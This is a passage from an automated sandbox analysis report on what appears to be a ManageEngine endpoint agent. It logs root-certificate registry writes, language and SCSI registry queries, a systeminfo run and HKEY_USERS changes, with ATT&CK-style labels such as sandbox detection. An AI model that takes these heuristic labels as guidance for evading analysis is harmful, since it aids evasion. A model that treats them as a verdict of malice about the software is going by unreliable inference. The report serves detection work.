140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b94403000000010000001400000001d84e226b2a33caf9d672212eda98d1383538722000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b94403000000010000001400000001d84e226b2a33caf9d672212eda98d1383538720f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e1900000001000000100000005d8515a09ed46b45148184a4f0821b5f2000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000265d0507d82fa26084bd837df52180a7056f5a85030000000100000014000000109f1caed645bb78b3ea2b94c0697c740733031c19000000010000001000000083b65318664e6fa245e0d7609fb958202000000001000000130400003082040f308202f7a003020102020a198b11d13f9a8ffe69a0300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937313030313037303030305a170d3032313233313037303030305a3081c3312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e3141303f060355040b13384d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747920496e7465726d656469617465204341311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3131302f060355040313284d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747930819f300d06092a864886f70d010101050003818d0030818902818100e04e100eb8a7ef21ca605adc9f1e3e83775a292ef94ee5085ddee1cf09c01f44b707a84ba422303b190683eef3ac2778aecad6402bce7901e19d568b3672b163905fa0b2c066a649c53cfa26a262c3d3b5cc61154cf23fb4e7450843897f6a8dd566fbd7ff6400c411fd2ca30b75b0fbe5ac2665a381e666493d1d737a9b71d70203010001a381da3081d7300f0603551d130101ff040530030101ff301f0603551d250418301606082b06010505070303060a2b0601040182370a03053081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010016d8587683608be849582c050b644d40ad2d4dc2fc5f7d963cd0afb954522828d5655e8f710eb3080e1509c9d592cc241144242d51dfaf54444b7bd671d4d73a357cd186b405dca7097498b21b166d39a7446aad79eaa2cdff5b2a63d1848422ab98c68762621b539615604731571ee00161ad36efc52d0ab4d01853f3569cb4b7b7050433ad29279351070c9ebe80ff15bc26c741f36ce2c2eaafb4ae5e08bba8c95b509b4a08430ccedcffbb2aa7816f5facbc7528ea363ebc0a94450b5ccdb5e39f238cb507813d5978514639bca7f66d17037fee529a39bc09f2d2baa8d79505eb465254718ee87ecd9a6ee74af3a449f0cac695a5516055bd741ecb2c01 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b94403000000010000001400000001d84e226b2a33caf9d672212eda98d1383538720f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e2000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 190000000100000010000000b37107d40c0f591b9b87de057e4f96860f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae892000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 1900000001000000100000005d8515a09ed46b45148184a4f0821b5f0f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e03000000010000001400000001d84e226b2a33caf9d672212eda98d138353872140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b9442000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ComputerDefaults.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ComputerDefaults.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcmetroapps.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHealthChecker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ComputerDefaults.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe - Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\LocationInformation dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\LocationInformation dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 dcinventory.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2324 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created 